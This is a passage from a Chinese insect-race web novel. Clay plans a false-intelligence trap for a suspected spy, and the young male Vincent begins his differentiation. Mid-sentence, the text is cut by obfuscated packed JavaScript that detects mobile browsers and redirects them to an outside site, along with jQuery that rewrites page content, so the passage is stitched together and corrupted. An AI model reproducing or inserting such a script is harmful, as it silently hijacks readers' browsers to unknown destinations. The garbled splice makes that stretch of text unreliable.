“你会陪着我的对吧,克莱?”还略显虚弱的迪欧特尔,找了一个不错的角度,对克莱眨了眨眼。 “圣虫灵呀!怎么会有虫装成这幅德性,你够了没有——来,我陪你!”终于看不下去的科赛特,上前一把单手过肩扛起迪欧特尔,然后对机器管家说,“带路吧,去客房。” “啊,你,你做什么?!科赛特,你疯了吗?!放我下来!你敢这么对我,我会告诉你雄父的——”迪欧特尔在科赛特肩上开始挣扎,一直儒雅而又风度翩翩的形象,瞬间碎了一地。 克莱:…… 事态的发展过于迅猛,有点超出控制…… 迪欧特尔就这样,被科赛特学长扛出了虫控室。 看来追踪克耶尔少将的光脑的事,只能再缓缓。 克莱不由转身,去寻被训到身后一旁的文森,说起来,自己刚才对他是不是太过严厉了…… 而此时,额间的虫纹已完全长成的雄虫,正低着头,站在还在高速运转的虫蝶旁—— 中央光屏上,不知何时,竟正跳动着另一个坐标定位! 克耶尔少将光脑的行踪,居然在不知不自觉间就这样被破解了——是刚才忽然倒下的迪欧特尔,还是…… 克莱不由上前一步,想抬手像往常一般轻轻碰触文森,但雄虫却低眸,侧身躲开了。 然后抬头,文森给了克莱一个堪称幽怨的眼神,转身便跑出了虫控室。 幼虫成年,开始长大了,难哄了。 23. 第二十三章 分化 克莱在文森离开后,并没有立即离开虫控室。 一方面,虽然文森负气而出,让克莱揪心不已,但克莱认为应该给文森冷静下来,独自进行反思的时间,克莱并不想将小雄虫宠坏,三皇子圣尤金那样仗势欺虫、无法无天的雄子,他从心底厌恶,自然也不希望文森也被自己惯坏了,特别是在原则性的问题上。 虽然,他总是不知不觉就对文森心软…… 另一方面,光屏上虫蝶查出的克耶尔少将光脑坐标,对克莱而言,至关重要。 果然和克莱之前猜想的一样—— 克耶尔少将光脑坐标定位,在主星,而且现下正在皇廷内。 也就是说,克耶尔少将很可能是借用了维里斯中尉的身份,回到主星——而作为皇廷近卫军长官的聂盖特曾说,他曾在皇廷亲眼见过维里斯中尉。 克莱自然联想到沙聂虫族能改变容貌外形的伪装术,那如果皇廷内的这个“维里斯中尉”是克耶尔少将,而真正的维里斯中尉还在战区不远处的偏星,他又会以什么样的身份活跃于布满耶梦德军团士兵的偏星呢? 这也关系到克莱心底的计划该如何实行…… 克莱随即和在前线指挥作战的养父里昂特元帅进行了加密通话。 “克耶尔?我前天刚和驻扎偏星的耶梦德军团进行了视频会议,他也在会议上……咳咳,虽然是在视频的角落里,但我不会记错,卡奇上将让他汇报几个中队的备战情况——但这小子除了第3中队能说上几句,其余都支支吾吾,汇报得不清不楚,卡奇当场就严厉地斥责了他,罚了他一个月的虫薪。”里昂特元帅的声音,较上一次更加疲惫。 克莱不由担心父亲的身体,必须得想办法尽快扭转战局才行——这场星际区域争夺战,时间拖得越长,对他们只会越不利! 既然可以基本明确,真正的维里斯中尉是以克耶尔少将的外貌和身份,在偏星的耶梦德军团行动,那这个计划便势在必行。 互换身份的把戏是吧?那就将错就错试试—— “里昂特元帅阁下,我看过这两天的军团内部秘密前线战报,前线的沙聂虫族正在矿区内寻找稀有的虫髓核晶储存地X-37,而这个储存地的坐标只有我们赛弗伦军团几个高级将领知道,鉴于我对克耶尔少将的一些怀疑,我有一个想法,也对他进行一次测验……”克莱黑色的眼眸,在这一刻格外的沉稳。 前线战报区域地图显示,矿区有一个叫做天坑的地形区,顾名思义,就是凹进去一大片的坑地。 克莱提议,将虫髓核晶储存地X-37在天坑底下的假消息,私下只传给偏星的“克耶尔少将”,看他会有怎样的反应。 以克莱的预计,他有两个可能性,一是和在主星的克耶尔少将联系,二是直接将消息传给沙聂虫族的联络者。 不管他如何下一步动作,之后克莱都会持续追踪已经破解的维里斯中尉光脑信息,若偏星的“克耶尔少将”将假消息传出,克莱便有机会此捕捉到更多的信息和证据。 更主要的是,若假消息真的顺利传给沙聂虫族,当一心寻找虫髓核晶储存地X-37的沙聂虫族,到达什么也没有的天坑坑底——那可正是在天坑上方,四面发起围剿的好时候。 毕竟,前世小太监,也是知道瓮中捉鳖的。 +++++++++ 另一边,在客房里,科赛特将迪欧特尔不算多客气地扔到了床上。 迪欧特尔原本打了虫蜡的发型,此时已然十分凌乱,纯白的休闲西装也因科赛特的单扛而皱巴巴,一双深蓝眼眸含着怒气,他起身冷冷地看向床边的科赛特,额间的V型虫纹隐隐发出暗光—— “省点力气吧,迪欧特尔,你刚刚已耗费了大量精神力,现在你的精神力不可能控制住我。”科赛特说着,居高临下地看向有些狼狈的雄虫。 “你到底想做什么,科赛特?我不记得自己,有哪里得罪过你——”迪欧特尔在床上起身,警觉地盯着眼前的军雌。 在迪欧特尔的印象中,至今为止,他和科赛特至多也就是在宴会上见过一两面,应该连话都没说过几句。 负责带路的机器管家,为科赛特少将贴心了搬了一把椅子。 科赛特在椅子上坐下,额间的蝴蝶虫纹翩然,他仰身抱臂,直视着迪欧特尔说道:“我才想问你,迪欧特尔审判法官,你应该比我更了解《圣约莫新恒典》,虽然我一早就劝过克莱不要冲动,但现下他已经是四皇子殿下缔结契约的监护者,你又到底想做什么?” 迪欧特尔摇了摇头,冷哼了一声,年轻英俊的雄虫,气势上不输科赛特:“你想说的是这个——科赛特少将什么时候这么了解新恒典了?监护契约,三年而已,很快就会过去的。” “——而且,四皇子殿下已临近二次分化。”迪欧特尔接着说道,“根据《圣约莫新恒典》监护细则附录513条的说明,若F级雄虫等级发生改变,成为B级(不包括B级)以上雄虫,则将自动和雌虫解除监护关系,文森殿下明显有着分化为A级雄虫的潜力。” “新恒典中,还有这样的规定?”科赛特挑眉。 “所以,我理应做好准备。”迪欧特尔微微轻瞟了科赛特一眼,一副“这你就不知道了吧”的表情,然后骄傲地整了整自己的衣领,已然恢复了来时的耀眼风范,他对自己追求克莱一事,毫不避违,或者说过于坦荡。 “什么准备?克莱不会对你有兴趣。”科赛特看着他,不禁露出日常嫌弃的神色。 “哼,你不明白的,科赛特。兴趣是可以培养的——两年前,我在爱心虫会的慈善晚宴上第一次见到克莱,就认定他是我以后的雌君。”迪欧特尔理了理自己的西服,仿佛想起了什么美好的回忆,微微一笑,接着说道,“况且现在,他也没有心仪的雄虫呀——别提四皇子殿下,克莱明显只把他当幼虫看待。” 虫族内,成年的雄虫追老婆,不乏热烈且……死缠烂打。 而迪欧特尔在准备死缠烂中,依旧表现那种难以理解的强烈自信,还带着一丝儒雅侃侃而谈,实在让科赛特莫名的有些火大。 也就在这时候,客房的门不知何时轻轻开了,又悄无声息地自动关上了。 机器管家默默地注视着一切,然而,房内的虫并没有留意到。 “得了吧,一个少将的光脑追踪都能让你倒下。”科赛特轻哼了一声。 迪欧特尔不由皱起眉,似乎低眸思索着什么,并没有接下科赛特的话,过了好会儿,他才如同得出了什么结论般,自言自语般地说道:“不会吧……” ++++++++++++++ 在虫控室里进行了初步布局的克莱,很快便来到看客房,查看迪欧特尔的情况。 但从一楼到二楼,他却没有看到负气跑走的少年雄虫的身影。 “报告虫主阁下,文森阁下还在家中……”意识里,光脑却也小心翼翼,仿佛不敢透露更多。 如今的文森比身为主虫的克莱更了解这栋别墅的每一个角落,而且他神出鬼没,若他想在别墅里藏起来,克莱到一时真的很难找到他。 这孩子呀…… 克莱暗自摇了摇头,不过确认他没有生气得离家出走就好,其实本质上还是个好孩子,也就闹闹脾气,而且,刚刚长成虫纹开始面临分化,精神力和信息素都不稳定,会闹脾气刷性子很正常,平日他不是这个样子的,一直都很乖巧,自己是不是应该更包容他一些呢—— 来到客房,早已心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478972|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在焉的克莱,已经毫不费力地给自家的少年雄虫找好了一堆理由,然后在无意识间已然原谅文森的同时,不由开始思索着,等送走了学长和迪欧特尔,如何安抚躲起来的文森…… 客房里,迪欧特尔见到克莱,蓝色的眼眸立马亮了。 克莱送了些安抚营养剂上来,迪欧特尔一脸感动,科赛特在一旁忍不住地翻白眼。 克莱见科赛特学长和迪欧特尔会长目前相处虽然还是你来我往,不算太客气,但也意外地和谐—— 某种意义上的和谐,克莱不由放下心来。 他向迪欧特尔借下了银色虫蝶的追踪设备,迪欧特尔自然欣然答应。 迪欧特尔向克莱发出邀约,之后到自己家做客,得到了科赛特难以理解的惊呼—— “你不是什么都没追踪到吗,怎么好意思的?!” “这有什么不好意思的,一码归一码,只要克莱愿意来就好!”迪欧特尔完全不理会科赛特,对着克莱又露出迷虫的微笑。 克莱没有透露克耶尔少将的光脑亦被破解追踪到的具体情况,虽然热心的科赛特之后有私下提出,可以请他认识的精神力更厉害的靠谱雄虫帮忙,但被克莱将话题岔开了。 “你不会是真看上迪欧特尔那只装货虫了吧?”科赛特在私聊时,曾这般问过克莱。 “不可能的,学长,其他虫不了解我,你还不了解吗?我对所有的雄虫都没兴趣,我只想在战场上取得更多的胜利。”克莱很认真地回复了科赛特。 “不过,会长也没有你说得那么糟糕,他还是很有爱心的……”也同时尽量想让学长和会长的关系能得到缓和。 当然,这些都是后话。 当这日送走迪欧特尔和科赛特之后,正准备寻找文森的克莱,从玄关路过客厅一边时,不经意地抬眼—— 他不由微微一惊,只见那插在花瓶里一个多小时前还娇艳盛开的一大束星露兰,竟然全部尽数枯萎! 只剩下一大片干瘪的花之尸体! 克莱皱眉,也就在这个时候,机器管家急冲冲地跑了过来,光屏上显示着“紧急”的红色图标,对克莱说道:“虫主阁下,您快去看看文森阁下,他的样子不太好……” “他在哪里?!”克莱目光一紧。 机器管家却只是焦急地围着克莱打转,并不回答。 “我知道了,他想让我去找他。”到底还是小孩子做派。 克莱寻思着,这段时间的朝夕相处,文森喜欢在玄关处等他回来,喜欢在隔间的沙发上看他办公,喜欢在厨房里望着他下厨的样子,还有—— 赖在他的房里不走,一定要他陪着睡。 “去主卧你的房间不好吗?”文森来了之后,克莱将自己的衣物都搬到了三楼,但他并不常在自己的房间休息,他向来睡觉的时间就很短。 但文森却喜欢他的房间,说那里有属于克莱的味道。 克莱来到三楼,还未打开门,就闻到了浓烈的信息素气息。 属于文森的信息素,在缔结契约时,克莱就知晓,那是浓烈中带点辛辣的气息,类似晚香玉的花香味。 房门在克莱面前自动打开,更加浓烈的气息扑面而来,窗帘遮住了亮光,没有开灯,房间里一片昏暗,只隐约看见昏暗的房间的床上,堆着一大片连着一大片克莱的衣物,军装、外套、T恤、衬衣,还有…… 成堆的衣物如同在床上形成的一个温暖的巢。 文森在巢的中心,他微微闭着眼,抱膝而蜷,如同一只蜷缩着的幼虫,他怀中抱着一件昨天克莱穿过的衬衣,双腿在蹭着衬衣的褶皱,额间的紫金色虫纹在昏暗的光线中忽明忽暗,满脸泛起别样的红潮。 他正在分化中!